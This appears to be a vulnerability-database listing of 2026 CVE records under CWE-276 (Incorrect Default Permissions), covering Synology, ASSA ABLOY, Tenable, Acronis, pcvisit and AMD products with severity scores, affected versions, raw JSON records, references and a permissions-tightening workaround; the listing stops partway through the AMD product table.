Common Weakness Enumeration
CWE-276
AllowedIncorrect Default Permissions
Abstraction: Base · Status: Draft
During installation, installed file permissions are set to allow anyone to modify those files.
2097 vulnerabilities reference this CWE, most recent first.
CVE-2026-4793 (GCVE-0-2026-4793)
Vulnerability from cvelistv5 – Published: 2026-08-03 06:00 – Updated: 2026-08-03 14:54
VLAI
EPSS
VEX
Summary
An incorrect default permissions vulnerability in Synology Assistant before 7.0.7-50095 allows local users to read or write arbitrary files and conduct denial-of-service during installation.
Severity
7.3 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-03 14:46 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Synology | Synology Assistant |
Affected:
* , < 7.0.7-50095
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4793",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-03T14:46:03.226652Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T14:54:10.232Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "affected",
"product": "Synology Assistant",
"vendor": "Synology",
"versions": [
{
"lessThan": "7.0.7-50095",
"status": "affected",
"version": "*",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Kazuma Matsumoto, a security researcher at GMO Cybersecurity by IERAE, Inc."
}
],
"descriptions": [
{
"lang": "en",
"value": "An incorrect default permissions vulnerability in Synology Assistant before 7.0.7-50095 allows local users to read or write arbitrary files and conduct denial-of-service during installation."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-03T06:00:39.179Z",
"orgId": "db201096-a0cc-46c7-9a55-61d9e221bf01",
"shortName": "synology"
},
"references": [
{
"name": "Synology-SA-26:12 Synology Assistant",
"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_26_12"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "db201096-a0cc-46c7-9a55-61d9e221bf01",
"assignerShortName": "synology",
"cveId": "CVE-2026-4793",
"datePublished": "2026-08-03T06:00:39.179Z",
"dateReserved": "2026-03-25T00:47:20.775Z",
"dateUpdated": "2026-08-03T14:54:10.232Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-3315 (GCVE-0-2026-3315)
Vulnerability from cvelistv5 – Published: 2026-03-10 09:35 – Updated: 2026-03-11 05:13
VLAI
EPSS
VEX
Title
Local Privilege Escalation Due to Writable Executable in Privileged Visionline Service Path
Summary
Incorrect Default Permissions, : Execution with Unnecessary Privileges, : Incorrect Permission Assignment for Critical Resource vulnerability in ASSA ABLOY Visionline on Windows allows Configuration/Environment Manipulation.This issue affects Visionline: from 1.0 before 1.33.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-03-10 13:51 UTC
CWE
Assigner
References
1 reference
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| ASSA ABLOY | Visionline |
Affected:
1.0 , < 1.33
(custom)
|
Date Public
2026-03-10 00:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-3315",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-10T13:51:35.314328Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-10T13:51:51.504Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Visionline",
"vendor": "ASSA ABLOY",
"versions": [
{
"lessThan": "1.33",
"status": "affected",
"version": "1.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Withsecure Exposure Management"
}
],
"datePublic": "2026-03-10T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Incorrect Default Permissions, : Execution with Unnecessary Privileges, : Incorrect Permission Assignment for Critical Resource vulnerability in ASSA ABLOY Visionline on Windows allows Configuration/Environment Manipulation.\u003cp\u003eThis issue affects Visionline: from 1.0 before 1.33.\u003c/p\u003e"
}
],
"value": "Incorrect Default Permissions, : Execution with Unnecessary Privileges, : Incorrect Permission Assignment for Critical Resource vulnerability in ASSA ABLOY Visionline on Windows allows Configuration/Environment Manipulation.This issue affects Visionline: from 1.0 before 1.33."
}
],
"impacts": [
{
"capecId": "CAPEC-176",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-176 Configuration/Environment Manipulation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "USER",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "CLEAR",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:L/SA:L/AU:Y/R:U/RE:L/U:Clear",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "LOW"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276 Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-250",
"description": "CWE-250: Execution with Unnecessary Privileges",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-732",
"description": "CWE-732: Incorrect Permission Assignment for Critical Resource",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-11T05:13:30.886Z",
"orgId": "db4dfee8-a97e-4877-bfae-eba6d14a2166",
"shortName": "NCSC-FI"
},
"references": [
{
"url": "https://www.vingcard.com/en/service-and-support/product-security-center/hospitality-product-security-advisories"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Local Privilege Escalation Due to Writable Executable in Privileged Visionline Service Path",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cdiv\u003e\u003cp\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003eRight-click on the folder C:\\ProgramData\\ASSA ABLOY\\Visionline\\webserver\u003c/li\u003e\u003cli\u003eSelect Properties\u003c/li\u003e\u003cli\u003eSelect the Security tab\u003c/li\u003e\u003cli\u003eClick Advanced\u003c/li\u003e\u003cli\u003eClick Disable inheritance\u003c/li\u003e\u003cli\u003eSelect Convert inherited permissions into explicit permissions on this object\u003c/li\u003e\u003cli\u003eRemove Users from the list\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003c/p\u003e\u003c/div\u003e"
}
],
"value": "* Right-click on the folder C:\\ProgramData\\ASSA ABLOY\\Visionline\\webserver\n * Select Properties\n * Select the Security tab\n * Click Advanced\n * Click Disable inheritance\n * Select Convert inherited permissions into explicit permissions on this object\n * Remove Users from the list"
}
],
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "db4dfee8-a97e-4877-bfae-eba6d14a2166",
"assignerShortName": "NCSC-FI",
"cveId": "CVE-2026-3315",
"datePublished": "2026-03-10T09:35:42.236Z",
"dateReserved": "2026-02-27T06:40:06.038Z",
"dateUpdated": "2026-03-11T05:13:30.886Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-2026 (GCVE-0-2026-2026)
Vulnerability from cvelistv5 – Published: 2026-02-13 16:14 – Updated: 2026-02-13 16:58
VLAI
EPSS
VEX
Title
Improper Access Control Allows Denial of Service
Summary
A vulnerability has been identified where weak file permissions in the Nessus Agent directory on Windows hosts could allow unauthorized access, potentially permitting Denial of Service (DoS) attacks.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-13 16:58 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
1 reference
Impacted products
Date Public
2026-02-12 19:00
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-2026",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-13T16:58:49.586878Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-13T16:58:59.807Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "affected",
"platforms": [
"Windows"
],
"product": "Agent",
"vendor": "Tenable",
"versions": [
{
"lessThan": "11.1.2",
"status": "affected",
"version": "11.1.0",
"versionType": "semver"
},
{
"lessThan": "11.0.4",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tenable:agent:*:*:windows:*:*:*:*:*",
"versionEndExcluding": "11.1.2",
"versionStartIncluding": "11.1.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:tenable:agent:*:*:windows:*:*:*:*:*",
"versionEndExcluding": "11.0.4",
"versionStartIncluding": "0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "OR"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Lockheed Martin Red Team"
}
],
"datePublic": "2026-02-12T19:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "A vulnerability has been identified where weak file permissions in the Nessus Agent directory on Windows hosts could allow unauthorized access, potentially permitting Denial of Service (DoS) attacks."
}
],
"value": "A vulnerability has been identified where weak file permissions in the Nessus Agent directory on Windows hosts could allow unauthorized access, potentially permitting Denial of Service (DoS) attacks."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276 Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-13T16:14:23.789Z",
"orgId": "5ac1ecc2-367a-4d16-a0b2-35d495ddd0be",
"shortName": "tenable"
},
"references": [
{
"url": "https://www.tenable.com/security/tns-2026-05"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Tenable has released Nessus Agent 11.0.4 and 11.1.2 to address these issues. The installation files can be obtained from the Tenable Downloads Portal (\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://www.tenable.com/downloads/nessus)\"\u003ehttps://www.tenable.com/downloads/nessus)\u003c/a\u003e.\n\n\u003cbr\u003e"
}
],
"value": "Tenable has released Nessus Agent 11.0.4 and 11.1.2 to address these issues. The installation files can be obtained from the Tenable Downloads Portal ( https://www.tenable.com/downloads/nessus) ."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Improper Access Control Allows Denial of Service",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "5ac1ecc2-367a-4d16-a0b2-35d495ddd0be",
"assignerShortName": "tenable",
"cveId": "CVE-2026-2026",
"datePublished": "2026-02-13T16:14:23.789Z",
"dateReserved": "2026-02-05T21:05:54.081Z",
"dateUpdated": "2026-02-13T16:58:59.807Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-0705 (GCVE-0-2026-0705)
Vulnerability from cvelistv5 – Published: 2026-01-27 16:43 – Updated: 2026-01-27 18:22
VLAI
EPSS
VEX
Summary
Local privilege escalation due to insecure folder permissions. The following products are affected: Acronis Cloud Manager (Windows) before build 6.4.25342.354.
Severity
6.7 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-27 18:20 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://security-advisory.acronis.com/advisories/… | vendor-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Acronis | Acronis Cloud Manager |
Affected:
unspecified , < 6.4.25342.354
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-0705",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-27T18:20:23.866068Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T18:22:08.142Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Windows"
],
"product": "Acronis Cloud Manager",
"vendor": "Acronis",
"versions": [
{
"lessThan": "6.4.25342.354",
"status": "affected",
"version": "unspecified",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "@satz4797 (https://hackerone.com/satz4797)"
}
],
"descriptions": [
{
"lang": "en",
"value": "Local privilege escalation due to insecure folder permissions. The following products are affected: Acronis Cloud Manager (Windows) before build 6.4.25342.354."
}
],
"metrics": [
{
"cvssV3_0": {
"baseScore": 6.7,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-27T16:43:42.575Z",
"orgId": "73dc0fef-1c66-4a72-9d2d-0a0f4012c175",
"shortName": "Acronis"
},
"references": [
{
"name": "SEC-7316",
"tags": [
"vendor-advisory"
],
"url": "https://security-advisory.acronis.com/advisories/SEC-7316"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "73dc0fef-1c66-4a72-9d2d-0a0f4012c175",
"assignerShortName": "Acronis",
"cveId": "CVE-2026-0705",
"datePublished": "2026-01-27T16:43:42.575Z",
"dateReserved": "2026-01-08T02:16:38.875Z",
"dateUpdated": "2026-01-27T18:22:08.142Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-0539 (GCVE-0-2026-0539)
Vulnerability from cvelistv5 – Published: 2026-04-22 13:02 – Updated: 2026-04-22 14:09
VLAI
EPSS
VEX
Title
Local Privilege Escalation in pcvisit service client
Summary
Incorrect Default Permissions in pcvisit service binary on Windows allows a low-privileged local attacker to escalate their privileges by overwriting the service binary with arbitrary contents. This service binary is automatically launched with NT\SYSTEM privileges on boot. This issue affects all versions after 22.6.22.1329 and was fixed in 25.12.3.1745.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-22 14:06 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://www.pcvisit.de/kundenbereich/release-notes | release-notes |
| https://labs.infoguard.ch/advisories/cve-2026-053… | third-party-advisorytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| pcvisit | pcvisit Remote Host Modul |
Affected:
22.6.22.1329 , < 25.12.3.1745
(custom)
Unaffected: 0 , < 22.6.22.1329 (custom) Unaffected: 25.12.3.1745 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-0539",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-22T14:06:45.464940Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-22T14:09:01.708Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"platforms": [
"Windows"
],
"product": "pcvisit Remote Host Modul",
"vendor": "pcvisit",
"versions": [
{
"lessThan": "25.12.3.1745",
"status": "affected",
"version": "22.6.22.1329",
"versionType": "custom"
},
{
"lessThan": "22.6.22.1329",
"status": "unaffected",
"version": "0",
"versionType": "custom"
},
{
"status": "unaffected",
"version": "25.12.3.1745"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Incorrect Default Permissions in pcvisit service binary on Windows allows a low-privileged local attacker to escalate their privileges by overwriting the service binary with arbitrary contents. This service binary is automatically launched with NT\\SYSTEM privileges on boot. This issue affects all versions after\u0026nbsp;22.6.22.1329 and was fixed in 25.12.3.1745."
}
],
"value": "Incorrect Default Permissions in pcvisit service binary on Windows allows a low-privileged local attacker to escalate their privileges by overwriting the service binary with arbitrary contents. This service binary is automatically launched with NT\\SYSTEM privileges on boot. This issue affects all versions after\u00a022.6.22.1329 and was fixed in 25.12.3.1745."
}
],
"impacts": [
{
"capecId": "CAPEC-233",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-233 Privilege Escalation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.5,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-276",
"description": "CWE-276 Incorrect Default Permissions",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-22T13:02:01.750Z",
"orgId": "455daabc-a392-441d-aa46-37d35189897c",
"shortName": "NCSC.ch"
},
"references": [
{
"tags": [
"release-notes"
],
"url": "https://www.pcvisit.de/kundenbereich/release-notes"
},
{
"tags": [
"third-party-advisory",
"technical-description"
],
"url": "https://labs.infoguard.ch/advisories/cve-2026-0539_pcvisit_local-privilege-escalation/"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Local Privilege Escalation in pcvisit service client",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "455daabc-a392-441d-aa46-37d35189897c",
"assignerShortName": "NCSC.ch",
"cveId": "CVE-2026-0539",
"datePublished": "2026-04-22T13:02:01.750Z",
"dateReserved": "2025-12-23T13:06:22.032Z",
"dateUpdated": "2026-04-22T14:09:01.708Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-0432 (GCVE-0-2026-0432)
Vulnerability from cvelistv5 – Published: 2026-05-15 01:46 – Updated: 2026-05-16 03:56
VLAI
EPSS
VEX
Summary
Incorrect default permissions in the installation directory for the AMD chipset driver could allow an attacker to achieve privilege escalation resulting in arbitrary code execution.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-15 00:00 UTC
CWE
- CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
46 products
| Vendor | Product | Version | |
|---|---|---|---|
| AMD | AMD Ryzen™ 4000 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7035 Series Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Athlon™ 3000 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7040 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7020 Series Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7045 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 3000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Threadripper™ PRO 3000 WX-Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 7030 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Threadripper™ 3000 Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 9000HX Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ AI 300 Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Athlon™ 3000 Series Desktop Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Threadripper™ PRO 5000 WX-Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Threadripper™ 7000 Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Threadripper™ PRO 7000 WX-Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 8000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 9000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 5000 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 4000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 5000 Series Desktop Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 5000 Series Desktop Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 8040 Series Mobile Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ 6000 Series Processors with Radeon™ Graphics |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ AI Max 300 Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ AI 400 Series Processors |
Unaffected:
AMD Ryzen™ Chipset Driver 8.01.20.513
|
|
| AMD | AMD Ryzen™ Embedded R1000 Series Processors |
Unaffected:
Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)
|
|
| AMD | AMD Ryzen™ Embedded R2000 Series Processors |
Unaffected:
Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)
|
|
| AMD | AMD Ryzen™ Embedded V1000 Series Processors (formerly codenamed "Raven Ridge") |
Unaffected:
Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)
|
|
| AMD | AMD Ryzen™ Embedded V2000 Series Processors |
Unaffected:
Q1 - 2026 AMD Embedded V1000,R1000,R2000,V2000 Windows Chipset driver (72258)
|
|
| AMD | AMD EPYC™ Embedded 8004 Series Processors |
Unaffected:
Q2-2026 AMD Emb Win Chipset drivers[Venice,Turin,Siena](72501)
|
|
| AMD | AMD Ryzen™ Embedded 8000 Series Processors |
Unaffected:
Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)
|
|
| AMD | AMD Ryzen™ Embedded 7000 Series Processors |
Unaffected:
Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)
|
|
| AMD | AMD EPYC™ Embedded 9005 Series Processors |
Unaffected:
Q2-2026 AMD Emb Win Chipset drivers[Venice,Turin,Siena](72501)
|
|
| AMD | AMD Ryzen™ Embedded 9000 Series Processors |
Unaffected:
Q1- 2026 AMD Embedded Ryzen7000,Ryzen8000,Ryzen9000 Windows Chipset driver (72244)
|
|
| AMD | AMD EPYC™ 9004 Series Processors |
Unaffected:
AMD Server Software 8.03.16.641
|
|
| AMD | AMD EPYC™ 7003 Series Processors |
Unaffected:
AMD Server Software 8.03.14.329
|
|
| AMD | AMD EPYC™ 7002 Series Processors |
Unaffected:
AMD Server Software 8.03.14.329
|
|
| AMD | AMD EPYC™ 7001 Series Processors |
Unaffected:
AMD Server Software 8.03.14.329
|
|
| AMD | AMD EPYC™ 4004 Series Processors |
Unaffected:
AMD Chipset Driver 8.01.20.513
|
|
| AMD | AMD EPYC™ 9005 Series Processors |
Unaffected:
AMD Server Software 8.03.16.641
|
|
| AMD | AMD Instinct™ MI300A Series Processors |
Unaffected:
AMD Server Software 8.03.16.641
|
|
